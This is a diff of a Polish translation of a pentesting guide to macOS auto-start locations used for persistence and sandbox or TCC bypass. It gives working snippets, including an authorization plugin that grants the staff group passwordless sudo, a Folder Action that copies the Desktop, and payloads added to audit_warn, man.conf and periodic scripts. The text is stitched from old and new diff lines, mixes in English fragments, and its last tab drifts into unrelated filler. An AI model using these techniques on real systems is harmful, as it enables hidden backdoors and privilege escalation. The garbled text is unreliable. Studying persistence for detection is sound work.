Są przestarzałe, ale mogą być używane do wykonywania poleceń po zalogowaniu użytkownika.
@ -361,17 +361,17 @@ TALLogoutSavesState = 0;
oneTimeSSMigrationComplete = 1;
}
```
Aby usunąć to:
Aby je usunąć:
```bash
defaults delete com.apple.loginwindow LoginHook
defaults delete com.apple.loginwindow LogoutHook
```
Plik root użytkownika jest przechowywany w **`/private/var/root/Library/Preferences/com.apple.loginwindow.plist`**
Plik użytkownika root jest przechowywany w **`/private/var/root/Library/Preferences/com.apple.loginwindow.plist`**
## Warunkowe obejście piaskownicy
{% hint style="success" %}
Tutaj znajdziesz lokalizacje startowe przydatne do **obejścia piaskownicy**, które pozwalają Ci po prostu uruchomić coś, **zapisując to do pliku** i **oczekując na nietypowe warunki** jak konkretne **zainstalowane programy, "nietypowe" działania użytkownika** lub środowiska.
Tutaj znajdziesz lokalizacje startowe przydatne do **obejścia piaskownicy**, które pozwala na po prostu wykonanie czegoś poprzez **zapisanie tego do pliku** i **oczekiwanie na nietypowe warunki** jak konkretne **zainstalowane programy, "nietypowe" działania użytkownika** lub środowiska.
{% endhint %}
### Cron
@ -379,14 +379,14 @@ Tutaj znajdziesz lokalizacje startowe przydatne do **obejścia piaskownicy**, kt
**Opis**: [https://theevilbit.github.io/beyond/beyond\_0004/](https://theevilbit.github.io/beyond/beyond\_0004/)
* Przydatne do obejścia piaskownicy: [](https://emojipedia.org/check-mark-button)
* Musisz jednak móc wykonać binarny `crontab`
* Lub być rootem
* Jednakże, musisz być w stanie wykonać binarny `crontab`
* Lub być użytkownikiem root
* Ominięcie TCC: [🔴](https://emojipedia.org/large-red-circle)
#### Lokalizacja
* **`/usr/lib/cron/tabs/`, `/private/var/at/tabs`, `/private/var/at/jobs`, `/etc/periodic/`**
* Wymagany jest dostęp do zapisu roota. Brak wymagania roota, jeśli możesz wykonać `crontab <plik>`
* Wymagany dostęp roota do bezpośredniego zapisu. Brak wymagania roota jeśli możesz wykonać `crontab <plik>`
* **Wywołanie**: Zależy od zadania cron
#### Opis i Wykorzystanie
@ -395,7 +395,7 @@ Wyświetl listę zadań cron **bieżącego użytkownika** za pomocą:
```bash
crontab -l
```
Można również zobaczyć wszystkie zadania cron użytkowników w **`/usr/lib/cron/tabs/`** i **`/var/at/tabs/`** (wymaga uprawnień root).
Można również zobaczyć wszystkie zadania cron użytkowników w **`/usr/lib/cron/tabs/`** i **`/var/at/tabs/`** (wymaga uprawnień roota).
W systemie MacOS można znaleźć kilka folderów wykonujących skrypty z **określoną częstotliwością** w:
```bash
@ -426,7 +426,7 @@ Opis: [https://theevilbit.github.io/beyond/beyond\_0002/](https://theevilbit.git
* **`~/Library/Preferences/com.googlecode.iterm2.plist`**
* **Wywołanie**: Otwórz iTerm
#### Opis i Wykorzystanie
#### Opis & Wykorzystanie
Skrypty przechowywane w **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`** zostaną wykonane. Na przykład:
```bash
@ -449,7 +449,7 @@ Launch Daemons are used to run processes at system boot or login. They are store
#### Login Items
Login Items are applications that open when a user logs in. They are managed in `System Preferences > Users & Groups > Login Items`.
Login Items are applications that open when a user logs in. They are managed in System Preferences > Users & Groups > Login Items.
#### Startup Items
@ -474,7 +474,7 @@ Skrypt **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt`** zostan
```bash
do shell script "touch /tmp/iterm2-autolaunchscpt"
```
Preferencje iTerm2 znajdują się w **`~/Library/Preferences/com.googlecode.iterm2.plist`** mogą **wskazywać polecenie do wykonania** po otwarciu terminala iTerm2.
Pliki preferencji iTerm2 znajdują się w **`~/Library/Preferences/com.googlecode.iterm2.plist`** i mogą **wskazywać polecenie do wykonania** po otwarciu terminala iTerm2.
To ustawienie można skonfigurować w ustawieniach iTerm2:
@ -540,7 +540,7 @@ chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh"
* Przydatne do ominięcia piaskownicy: [](https://emojipedia.org/check-mark-button)
* Ale Hammerspoon musi być zainstalowany
* Ominięcie TCC: [](https://emojipedia.org/check-mark-button)
* Wymaga uprawnień dostępu
* Wymaga uprawnień dostępności
#### Lokalizacja
@ -551,7 +551,7 @@ chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh"
[**Hammerspoon**](https://github.com/Hammerspoon/hammerspoon) służy jako platforma automatyzacji dla **macOS**, wykorzystując język skryptowy **LUA** do swoich operacji. Warto zauważyć, że obsługuje integrację pełnego kodu AppleScript oraz wykonywanie skryptów powłoki, co znacząco zwiększa jego możliwości skryptowe.
Aplikacja szuka jednego pliku, `~/.hammerspoon/init.lua`, i po uruchomieniu zostanie wykonany skrypt.
Aplikacja szuka jednego pliku, `~/.hammerspoon/init.lua`, który zostanie wykonany po uruchomieniu skryptu.
```bash
mkdir -p "$HOME/.hammerspoon"
cat > "$HOME/.hammerspoon/init.lua" << EOF
@ -582,7 +582,7 @@ To narzędzie pozwala wskazać aplikacje lub skrypty do wykonania po naciśnięc
* `???`
Pozwala tworzyć przepływy pracy, które mogą wykonywać kod, gdy spełnione są określone warunki. Potencjalnie atakujący może stworzyć plik przepływu pracy i sprawić, aby Alfred go załadował (należy opłacić wersję premium, aby korzystać z przepływów pracy).
Pozwala tworzyć przepływy pracy, które mogą wykonywać kod, gdy spełnione są określone warunki. Potencjalnie możliwe jest, że atakujący może stworzyć plik przepływu pracy i sprawić, aby Alfred go załadował (należy opłacić wersję premium, aby korzystać z przepływów pracy).
### SSHRC
@ -591,15 +591,15 @@ Opis: [https://theevilbit.github.io/beyond/beyond\_0006/](https://theevilbit.git
* Przydatne do ominięcia piaskownicy: [](https://emojipedia.org/check-mark-button)
* Ale ssh musi być włączone i używane
* Ominięcie TCC: [](https://emojipedia.org/check-mark-button)
* SSH ma dostęp do pełnego dysku
* SSH miał dostęp do pełnego dysku
#### Lokalizacja
* **`~/.ssh/rc`**
* **Wywołanie**: Logowanie za pomocą ssh
* **Wywołanie**: Logowanie przez ssh
* **`/etc/ssh/sshrc`**
* Wymagane uprawnienia roota
* **Wywołanie**: Logowanie za pomocą ssh
* **Wywołanie**: Logowanie przez ssh
{% hint style="danger" %}
Aby włączyć ssh, wymagane jest uzyskanie dostępu do pełnego dysku:
@ -614,10 +614,10 @@ Domyślnie, chyba że `PermitUserRC no` w `/etc/ssh/sshd_config`, gdy użytkowni
### **Elementy logowania**
Opis: [https://theevilbit.github.io/beyond/beyond\_0003/](https://theevilbit.github.io/beyond/beyond\_0003/)
Writeup: [https://theevilbit.github.io/beyond/beyond\_0003/](https://theevilbit.github.io/beyond/beyond\_0003/)
* Przydatne do ominięcia piaskownicy: [](https://emojipedia.org/check-mark-button)
* Ale musisz wywoł`osascript` z argumentami
* Ale musisz wykon`osascript` z argumentami
* Ominięcie TCC: [🔴](https://emojipedia.org/large-red-circle)
#### Lokalizacje
@ -645,13 +645,13 @@ osascript -e 'tell application "System Events" to delete login item "itemname"'
```
Te elementy są przechowywane w pliku **`~/Library/Application Support/com.apple.backgroundtaskmanagementagent`**
**Elementy logowania** mogą być również wskazane za pomocą interfejsu API [SMLoginItemSetEnabled](https://developer.apple.com/documentation/servicemanagement/1501557-smloginitemsetenabled?language=objc), który przechowa konfigurację w **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`**
**Elementy logowania** można również wskazać za pomocą interfejsu API [SMLoginItemSetEnabled](https://developer.apple.com/documentation/servicemanagement/1501557-smloginitemsetenabled?language=objc), który przechowa konfigurację w **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`**
### ZIP jako element logowania
(Sprawdź poprzednią sekcję dotyczącą elementów logowania, to jest rozszerzenie)
(Sprawdź poprzednią sekcję dotyczącą Elementów logowania, jest to rozszerzenie)
Jeśli przechowasz plik **ZIP** jako **Element logowania**, **`Archive Utility`** go otworzy, a jeśli zip był na przykład przechowywany w **`~/Library`** i zawierał folder **`LaunchAgents/file.plist`** z tylnymi drzwiami, ten folder zostanie utworzony (nie jest to domyślne) i plist zostanie dodany, więc następnym razem, gdy użytkownik zaloguje się ponownie, **tylnie drzwi wskazane w pliku plist zostaną wykonane**.
Jeśli przechowasz plik **ZIP** jako **Element logowania**, **`Archive Utility`** go otworzy, a jeśli np. plik zip był przechowywany w **`~/Library`** i zawierał folder **`LaunchAgents/file.plist`** z tylnymi drzwiami, ten folder zostanie utworzony (nie jest to domyślne zachowanie), a plist zostanie dodany, więc następnym razem, gdy użytkownik zaloguje się ponownie, **tylne drzwi wskazane w pliku plist zostaną wykonane**.
Inną opcją byłoby utworzenie plików **`.bash_profile`** i **`.zshenv`** w katalogu domowym użytkownika, więc jeśli folder LaunchAgents już istnieje, ta technika nadal będzie działać.
@ -685,7 +685,7 @@ sh-3.2# atq
26 Tue Apr 27 00:46:00 2021
22 Wed Apr 28 00:29:00 2021
```
Powyżej widzimy dwa zaplanowane zadania. Możemy wydrukować szczegóły zadania, używając `at -c JOBNUMBER`
Powyżej widzimy dwa zaplanowane zadania. Możemy wydrukować szczegóły zadania, używając `at -c NUMERZADANIA`
```shell-session
sh-3.2# at -c 26
#!/bin/sh
@ -733,7 +733,7 @@ Nazwa pliku zawiera kolejkę, numer zadania i czas jego zaplanowanego uruchomien
* `a` - to kolejka
* `0001a` - numer zadania w zapisie szesnastkowym, `0x1a = 26`
* `019bdcd2` - czas w zapisie szesnastkowym. Reprezentuje minuty od epoki. `0x019bdcd2` to `26991826` w systemie dziesiętnym. Jeśli pomnożymy to przez 60, otrzymamy `1619509560`, co odpowiada `GMT: 2021. kwiecień 27., wtorek 7:46:00`.
* `019bdcd2` - czas w zapisie szesnastkowym. Reprezentuje minuty od epoki. `0x019bdcd2` to `26991826` w zapisie dziesiętnym. Jeśli pomnożymy to przez 60, otrzymamy `1619509560`, co odpowiada `GMT: 2021. kwiecień 27., wtorek 7:46:00`.
Jeśli wydrukujemy plik zadania, zobaczymy, że zawiera te same informacje, które uzyskaliśmy używając `at -c`.
@ -757,7 +757,7 @@ Opis: [https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f
#### Opis i Wykorzystanie
Akcje folderów to skrypty automatycznie uruchamiane przez zmiany w folderze, takie jak dodawanie, usuwanie elementów, otwieranie lub zmiana rozmiaru okna folderu. Te akcje mogą być wykorzystane do różnych zadań i mogą być uruchamiane w różny sposób, np. za pomocą interfejsu Finder lub poleceń terminala.
Akcje folderów to skrypty automatycznie uruchamiane przez zmiany w folderze, takie jak dodawanie, usuwanie elementów, otwieranie lub zmiana rozmiaru okna folderu. Te działania mogą być wykorzystane do różnych zadań i mogą być uruchamiane w różny sposób, np. za pomocą interfejsu Finder lub poleceń terminala.
Aby skonfigurować Akcje folderów, masz opcje takie jak:
@ -766,7 +766,7 @@ Aby skonfigurować Akcje folderów, masz opcje takie jak:
3. Wykorzystanie OSAScript do wysyłania komunikatów zdarzeń Apple do `System Events.app` w celu programowego ustawienia Akcji folderu.
* Ta metoda jest szczególnie przydatna do osadzania akcji w systemie, oferując poziom trwałości.
Poniższy skrypt jest przykładowym przykładem tego, co może być wykonane przez Akcję folderu:
Poniższy skrypt jest przykładem tego, co może być wykonane przez Akcję folderu:
```applescript
// source.js
var app = Application.currentApplication();
@ -776,11 +776,11 @@ app.doShellScript("touch ~/Desktop/folderaction.txt");
app.doShellScript("mkdir /tmp/asd123");
app.doShellScript("cp -R ~/Desktop /tmp/asd123");
```
Aby skrypt powyżej można było używać w Akcjach folderu, skompiluj go za pomocą:
Aby skrypt powyżej mógł być używany przez Akcje folderu, skompiluj go za pomocą:
```bash
osacompile -l JavaScript -o folder.scpt source.js
```
Po skompilowaniu skryptu skonfiguruj Akcje folderu, wykonując poniższy skrypt. Ten skrypt włączy Akcje folderu globalnie i specyficznie dołączy wcześniej skompilowany skrypt do folderu Pulpit.
Po skompilowaniu skryptu skonfiguruj Akcje folderu, wykonując poniższy skrypt. Ten skrypt włączy globalnie Akcje folderu i specyficznie dołączy wcześniej skompilowany skrypt do folderu Pulpit.
```javascript
// Enabling and attaching Folder Action
var se = Application("System Events");
@ -835,7 +835,7 @@ Teraz spróbujmy przygotować tę trwałość bez dostępu do interfejsu graficz
Teraz, gdy mamy puste środowisko
3. Skopiuj plik z kopią zapasową: `cp /tmp/com.apple.FolderActionsDispatcher.plist ~/Library/Preferences/`
4. Otwórz aplikację Folder Actions Setup.app, aby załadować tę konfigurację: `open "/System/Library/CoreServices/Applications/Folder Actions Setup.app/"`
4. Otwórz aplikację Folder Actions Setup, aby załadować tę konfigurację: `open "/System/Library/CoreServices/Applications/Folder Actions Setup.app/"`
{% hint style="danger" %}
To nie zadziałało dla mnie, ale to są instrukcje z opisu :(
@ -852,7 +852,7 @@ Opis: [https://theevilbit.github.io/beyond/beyond\_0027/](https://theevilbit.git
#### Lokalizacja
* `~/Library/Preferences/com.apple.dock.plist`
* **Wywołanie**: Gdy użytkownik kliknie na aplikację w Docku
* **Wywołanie**: Kiedy użytkownik kliknie na aplikację w Docku
#### Opis i Wykorzystanie
@ -944,9 +944,9 @@ Opis: [https://theevilbit.github.io/beyond/beyond\_0017](https://theevilbit.gith
**Skompiluj pakiet wybieraka kolorów** z twoim kodem (możesz użyć [**na przykład tego**](https://github.com/viktorstrate/color-picker-plus)) i dodaj konstruktor (podobnie jak w sekcji [Wygaszacz ekranu](macos-auto-start-locations.md#screen-saver)) i skopiuj pakiet do `~/Library/ColorPickers`.
Następnie, gdy wybierak kolorów zostanie wywołany, twój kod również powinien.
Następnie, gdy wybierak kolorów zostanie wywołany, twój kod również powinien być uruchomiony.
Zauważ, że binarny ładowacz twojej biblioteki ma **bardzo restrykcyjną piaskownicę**: `/System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64`
Zauważ, że binarny plik ładujący twoją bibliotekę ma **bardzo restrykcyjną piaskownicę**: `/System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64`
{% code overflow="wrap" %}
```bash
@ -973,9 +973,9 @@ Zauważ, że binarny ładowacz twojej biblioteki ma **bardzo restrykcyjną piask
#### Opis & Wykorzystanie
Przykład aplikacji z rozszerzeniem synchronizacji Finder [**znajduje się tutaj**](https://github.com/D00MFist/InSync).
Przykład aplikacji z rozszerzeniem synchronizacji Finder [**można znaleźć tutaj**](https://github.com/D00MFist/InSync).
Aplikacje mogą mieć `Rozszerzenia synchronizacji Finder`. To rozszerzenie zostanie umieszczone wewnątrz aplikacji, która zostanie uruchomiona. Ponadto, aby rozszerzenie mogło wykonać swój kod, **musi być podpisane** ważnym certyfikatem dewelopera Apple, musi być **w piaskownicy** (choć mogą być dodane luźne wyjątki) i musi być zarejestrowane za pomocą:
Aplikacje mogą mieć `Rozszerzenia synchronizacji Finder`. To rozszerzenie zostanie umieszczone w aplikacji, która zostanie uruchomiona. Ponadto, aby rozszerzenie mogło wykonać swój kod, **musi być podpisane** ważnym certyfikatem dewelopera Apple, musi być **umieszczane w piaskownicy** (choć można dodać wyjątki) i musi być zarejestrowane za pomocą:
```bash
pluginkit -a /Applications/FindIt.app/Contents/PlugIns/FindItSync.appex
pluginkit -e use -i com.example.InSync.InSync
@ -1000,9 +1000,9 @@ Opis: [https://posts.specterops.io/saving-your-access-d562bf5bf90b](https://post
* `~/Library/Screen Savers`
* **Wywołanie**: Wybierz wygaszacz ekranu
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="375"><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="375"><figcaption></figcaption></figure>
#### Opis i Wykorzystanie
#### Opis & Wykorzystanie
Utwórz nowy projekt w Xcode i wybierz szablon generujący nowy **Wygaszacz ekranu**. Następnie dodaj do niego kod, na przykład poniższy kod generujący logi.
@ -1023,7 +1023,7 @@ Timestamp (process)[PID]
Należy pamiętać, że wewnątrz uprawnień binarnych, które ładują ten kod (`/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver`), można znaleźć **`com.apple.security.app-sandbox`**, więc będzie się znajdować **w powszechnym sandboxie aplikacji**.
{% endhint %}
Kod oszczędzania:
Kod Screen Saver:
```objectivec
//
// ScreenSaverExampleView.m
@ -1094,7 +1094,7 @@ NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
opis: [https://theevilbit.github.io/beyond/beyond\_0011/](https://theevilbit.github.io/beyond/beyond\_0011/)
* Przydatne do ominięcia piaskownicy: [🟠](https://emojipedia.org/large-orange-circle)
* Jednakże skończysz w piaskownicy aplikacji
* Ale skończysz w piaskownicy aplikacji
* Ominięcie TCC: [🔴](https://emojipedia.org/large-red-circle)
* Piaskownica wydaje się bardzo ograniczona
@ -1117,9 +1117,9 @@ opis: [https://theevilbit.github.io/beyond/beyond\_0011/](https://theevilbit.git
Spotlight to wbudowana funkcja wyszukiwania w macOS, zaprojektowana w celu zapewnienia użytkownikom **szybkiego i wszechstronnego dostępu do danych na ich komputerach**.\
Aby ułatwić tę szybką funkcję wyszukiwania, Spotlight utrzymuje **własną bazę danych** i tworzy indeks poprzez **parsowanie większości plików**, umożliwiając szybkie wyszukiwanie zarówno nazw plików, jak i ich zawartości.
Podstawowy mechanizm Spotlight obejmuje centralny proces o nazwie 'mds', co oznacza **'serwer metadanych'**. Ten proces zarządza całym serwisem Spotlight. Dodatkowo istnieje wiele demonów 'mdworker', które wykonują różne zadania konserwacyjne, takie jak indeksowanie różnych typów plików (`ps -ef | grep mdworker`). Te zadania są możliwe dzięki wtyczkom importującym Spotlight, czyli **"paczkom .mdimporter"**, które umożliwiają Spotlightowi zrozumienie i indeksowanie treści w różnorodnych formatach plików.
Podstawowy mechanizm Spotlight obejmuje centralny proces o nazwie 'mds', co oznacza **'serwer metadanych'**. Ten proces zarządza całą usługą Spotlight. Wspomagają to wielokrotne demony 'mdworker', które wykonują różnorodne zadania konserwacyjne, takie jak indeksowanie różnych typów plików (`ps -ef | grep mdworker`). Te zadania są możliwe dzięki wtyczkom importującym Spotlight, czyli **"paczkom .mdimporter**", które umożliwiają Spotlightowi zrozumienie i indeksowanie treści w różnorodnych formatach plików.
Wtyczki lub **paczki `.mdimporter`** znajdują się w wymienionych wcześniej miejscach, a jeśli pojawi się nowa paczka, zostanie załadowana w ciągu minuty (nie ma potrzeby restartowania żadnej usługi). Te paczki muszą wskazać, **jakie typy plików i rozszerzenia mogą obsługiwać**, w ten sposób Spotlight będzie ich używał, gdy zostanie utworzony nowy plik z wskazanym rozszerzeniem.
Wtyczki lub **paczki `.mdimporter`** znajdują się w wymienionych wcześniej miejscach, a jeśli pojawi się nowa paczka, zostanie załadowana w ciągu minuty (nie trzeba restartować żadnej usługi). Te paczki muszą wskazać, które **typy plików i rozszerzenia mogą obsługiwać**, w ten sposób Spotlight będzie ich używał, gdy zostanie utworzony nowy plik z wskazanym rozszerzeniem.
Możliwe jest **znalezienie wszystkich `mdimporterów`** załadowanych, uruchamiając:
```bash
@ -1130,7 +1130,7 @@ Paths: id(501) (
"/System/Library/Spotlight/PDF.mdimporter",
[...]
```
I na przykład **/Library/Spotlight/iBooksAuthor.mdimporter** jest używany do analizowania tego typu plików (rozszerzenia `.iba` i `.book` między innymi):
A na przykład **/Library/Spotlight/iBooksAuthor.mdimporter** jest używany do analizowania tego typu plików (rozszerzenia `.iba` i `.book` między innymi):
```json
plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist
@ -1174,7 +1174,7 @@ Co więcej, domyślne wtyczki systemowe zawsze mają pierwszeństwo, więc ataku
Aby stworzyć własny importer, możesz zacząć od tego projektu: [https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer), a następnie zmienić nazwę, **`CFBundleDocumentTypes`** i dodać **`UTImportedTypeDeclarations`**, aby obsługiwał rozszerzenie, które chcesz wspierać, i odzwierciedlić je w **`schema.xml`**. Następnie **zmień** kod funkcji **`GetMetadataForFile`**, aby wykonać swój payload, gdy zostanie utworzony plik z przetworzonym rozszerzeniem.
Na koniec **skompiluj i skopiuj swój nowy plik `.mdimporter`** do jednej z powyższych lokalizacji, a następnie sprawdź, czy jest ładowany, **monitorując logi** lub sprawdzając **`mdimport -L.`**
Na koniec **skompiluj i skopiuj swój nowy `.mdimporter`** do jednej z wcześniejszych lokalizacji i sprawdź, czy jest ładowany, **monitorując logi** lub sprawdzając **`mdimport -L.`**
### ~~Panel Preferencji~~
@ -1266,13 +1266,13 @@ monthly_local="/etc/monthly.local" # Local scripts
Jeśli uda ci się napisać którykolwiek z plików `/etc/daily.local`, `/etc/weekly.local` lub `/etc/monthly.local`, zostanie on **wykonany wcześniej lub później**.
{% hint style="warning" %}
Zauważ, że skrypt okresowy zostanie **wykonany jako właściciel skryptu**. Jeśli zwykły użytkownik jest właścicielem skryptu, zostanie on wykonany jako ten użytkownik (co może zapobiec atakom eskalacji uprawnień).
Zauważ, że skrypt okresowy zostanie **wykonany jako właściciel skryptu**. Jeśli zwykły użytkownik jest właścicielem skryptu, zostanie on wykonany jako ten użytkownik (co może zapobiec atakom na eskalację uprawnień).
{% endhint %}
### PAM
Opis: [Linux Hacktricks PAM](../linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md)\
Opis: [https://theevilbit.github.io/beyond/beyond\_0005/](https://theevilbit.github.io/beyond/beyond\_0005/)
Rozwiązanie: [Linux Hacktricks PAM](../linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md)\
Rozwiązanie: [https://theevilbit.github.io/beyond/beyond\_0005/](https://theevilbit.github.io/beyond/beyond\_0005/)
* Przydatne do ominięcia piaskownicy: [🟠](https://emojipedia.org/large-orange-circle)
* Ale musisz być rootem
@ -1284,7 +1284,7 @@ Opis: [https://theevilbit.github.io/beyond/beyond\_0005/](https://theevilbit.git
#### Opis i Wykorzystanie
Ponieważ PAM jest bardziej skoncentrowany na **trwałości** i złośliwym oprogramowaniu niż na łatwym wykonaniu wewnątrz macOS, ten blog nie będzie zawierał szczegółowego wyjaśnienia, **przeczytaj opisy, aby lepiej zrozumieć tę technikę**.
Ponieważ PAM jest bardziej skoncentrowany na **trwałości** i złośliwym oprogramowaniu niż na łatwym wykonaniu wewnątrz macOS, ten blog nie będzie zawierał szczegółowego wyjaśnienia, **przeczytaj rozwiązania, aby lepiej zrozumieć tę technikę**.
Sprawdź moduły PAM za pomocą:
```bash
@ -1323,12 +1323,12 @@ Opis: [https://posts.specterops.io/persistent-credential-theft-with-authorizatio
#### Lokalizacja
* `/Library/Security/SecurityAgentPlugins/`
* Wymagane uprawnienia roota
* Wymagany dostęp jako root
* Konieczne jest również skonfigurowanie bazy danych autoryzacyjnych do użycia wtyczki
#### Opis i Wykorzystanie
Możesz stworzyć wtyczkę autoryzacyjną, która będzie wykonywana podczas logowania użytkownika, aby utrzymać trwałość. Aby uzyskać więcej informacji na temat tworzenia takich wtyczek, sprawdź poprzednie opisy (i bądź ostrożny, źle napisana wtyczka może zablokować Cię i będziesz musiał wyczyścić swój Mac w trybie odzyskiwania).
Możesz stworzyć wtyczkę autoryzacyjną, która będzie wykonywana podczas logowania użytkownika, aby utrzymać trwałość. Aby uzyskać więcej informacji na temat tworzenia takich wtyczek, sprawdź wcześniejsze opisy (i bądź ostrożny, źle napisana wtyczka może zablokować Cię i będziesz musiał wyczyścić swój Mac w trybie odzyskiwania).
```objectivec
// Compile the code and create a real bundle
// gcc -bundle -framework Foundation main.m -o CustomAuth
@ -1347,7 +1347,7 @@ system("echo \"%staff ALL=(ALL) NOPASSWD:ALL\" >> /etc/sudoers");
```bash
cp -r CustomAuth.bundle /Library/Security/SecurityAgentPlugins/
```
Na koniec dodaj **regułę** ładowania tego Pluginu:
### Dodaj **regułę** do załadowania tego Pluginu:
```bash
cat > /tmp/rule.plist <<EOF
<?xml version="1.0" encoding="UTF-8"?>
@ -1366,17 +1366,17 @@ EOF
security authorizationdb write com.asdf.asdf < /tmp/rule.plist
```
**`evaluate-mechanisms`** powie frameworkowi autoryzacyjnemu, że będzie musiał **wywołać zewnętrzny mechanizm autoryzacji**. Ponadto **`privileged`** spowoduje, że zostanie wykonany przez użytkownika root.
**`evaluate-mechanisms`** powie frameworkowi autoryzacyjnemu, że będzie musiał **wywołać zewnętrzny mechanizm autoryzacji**. Ponadto, **`privileged`** spowoduje, że zostanie wykonany przez użytkownika root.
Uruchomienie:
```bash
security authorize com.asdf.asdf
```
I następnie **grupa personelu powinna mieć dostęp sudo** (odczytaj `/etc/sudoers`, aby potwierdzić).
I następnie **grupa personelu powinna mieć dostęp do sudo** (odczytaj `/etc/sudoers`, aby potwierdzić).
### Man.conf
Writeup: [https://theevilbit.github.io/beyond/beyond\_0030/](https://theevilbit.github.io/beyond/beyond\_0030/)
Opis: [https://theevilbit.github.io/beyond/beyond\_0030/](https://theevilbit.github.io/beyond/beyond\_0030/)
* Przydatne do ominięcia piaskownicy: [🟠](https://emojipedia.org/large-orange-circle)
* Ale musisz być rootem, a użytkownik musi używać man
@ -1388,9 +1388,9 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0030/](https://theevilbit.
* Wymagany jest dostęp roota
* **`/private/etc/man.conf`**: Za każdym razem, gdy jest używane man
#### Opis i Wykorzystanie
#### Opis & Wykorzystanie
Plik konfiguracyjny **`/private/etc/man.conf`** wskazuje binarny/skrypt do użycia podczas otwierania plików dokumentacji man. Ścieżkę do wykonywalnego pliku można zmodyfikować, aby za każdym razem, gdy użytkownik używa man do czytania dokumentów, uruchamiany był backdoor.
Plik konfiguracyjny **`/private/etc/man.conf`** wskazuje na binarny/skrypt do użycia podczas otwierania plików dokumentacji man. Ścieżkę do wykonywalnego pliku można zmodyfikować, aby za każdym razem, gdy użytkownik używa man do czytania dokumentów, uruchamiany był backdoor.
Na przykład ustaw w **`/private/etc/man.conf`**:
```
@ -1416,7 +1416,7 @@ touch /tmp/manconf
#### Lokalizacja
* **`/etc/apache2/httpd.conf`**
* Wymagane uprawnienia roota
* Wymagany dostęp jako root
* Wywołanie: Gdy Apache2 jest uruchamiany
#### Opis & Wykorzystanie
@ -1427,7 +1427,7 @@ LoadModule my_custom_module /Users/Shared/example.dylib "My Signature Authority"
```
{% endcode %}
W ten sposób twoje skompilowane moduły zostaną załadowane przez Apache. Jedyną rzeczą jest to, że musisz **podpisać go ważnym certyfikatem Apple**, lub musisz **dodać nowy zaufany certyfikat** w systemie i go **podpisać**.
W ten sposób Twoje skompilowane moduły zostaną załadowane przez Apache. Jedyną rzeczą jest to, że musisz **podpisać je ważnym certyfikatem Apple**, lub musisz **dodać nowy zaufany certyfikat** w systemie i **podpisać** go nim.
Następnie, jeśli to konieczne, upewnij się, że serwer zostanie uruchomiony, wykonując:
```bash
@ -1461,20 +1461,20 @@ Opis: [https://theevilbit.github.io/beyond/beyond\_0031/](https://theevilbit.git
#### Opis i Wykorzystanie
Za każdym razem, gdy auditd wykryje ostrzeżenie, skrypt **`/etc/security/audit_warn`** jest **wykonywany**. Możesz więc dodać swój ładunek do niego.
Za każdym razem, gdy auditd wykryje ostrzeżenie, skrypt **`/etc/security/audit_warn`** jest **wykonywany**. Możesz więc dodać swój ładunek w tym miejscu.
```bash
echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn
```
### Elementy uruchamiania
{% hint style="danger" %}
**Jest to przestarzałe, więc nie powinno być tam nic znalezionego.**
**To jest przestarzałe, więc nie powinno być nic znalezionego w tych katalogach.**
{% endhint %}
**StartupItem** to katalog, który powinien znajdować się w `/Library/StartupItems/` lub `/System/Library/StartupItems/`. Po utworzeniu tego katalogu musi on zawierać dwa konkretne pliki:
Katalog **StartupItem** powinien znajdować się w `/Library/StartupItems/` lub `/System/Library/StartupItems/`. Po utworzeniu tego katalogu musi zawierać dwa konkretne pliki:
1. Skrypt **rc**: Skrypt powłoki wykonywany podczas uruchamiania.
2. Plik **plist**, o nazwie `StartupParameters.plist`, który zawiera różne ustawienia konfiguracyjne.
2. Plik **plist**, nazwany specjalnie `StartupParameters.plist`, który zawiera różne ustawienia konfiguracyjne.
Upewnij się, że zarówno skrypt rc, jak i plik `StartupParameters.plist` są poprawnie umieszczone w katalogu **StartupItem**, aby proces uruchamiania mógł je rozpoznać i wykorzystać.
@ -1498,27 +1498,21 @@ Upewnij się, że zarówno skrypt rc, jak i plik `StartupParameters.plist` są p
```
{% endtab %}
{% tab title="superservicename" %}
{% tab title="superservicename" %}Ważne usługi systemowe, które uruchamiają się automatycznie po uruchomieniu systemu, można znaleźć w różnych lokalizacjach na macOS. Poniżej znajduje się lista głównych miejsc, w których można znaleźć takie usługi:
### Lokalizacje automatycznego uruchamiania w macOS
1. **LaunchAgents**: Usługi specyficzne dla użytkownika, uruchamiane po zalogowaniu. Znajdują się w katalogu `~/Library/LaunchAgents/`.
W systemie macOS istnieje wiele miejsc, w których można skonfigurować aplikacje do automatycznego uruchamiania po zalogowaniu. Poniżej znajduje się lista głównych lokalizacji, w których można znaleźć takie konfiguracje:
2. **LaunchDaemons**: Usługi systemowe, uruchamiane podczas startu systemu. Znajdują się w katalogu `/Library/LaunchDaemons/`.
1. **Folder Login Items**: Można go znaleźć w ustawieniach systemowych w sekcji "Users & Groups". Aplikacje dodane do tego folderu uruchamiają się automatycznie po zalogowaniu.
3. **StartupItems**: Starszy sposób uruchamiania usług, obecnie mniej powszechny. Znajdują się w katalogu `/Library/StartupItems/`.
2. **Folder LaunchAgents**: Znajduje się w `/Library/LaunchAgents` lub `~/Library/LaunchAgents`. Tutaj można znaleźć pliki konfiguracyjne, które uruchamiają się przy każdym logowaniu.
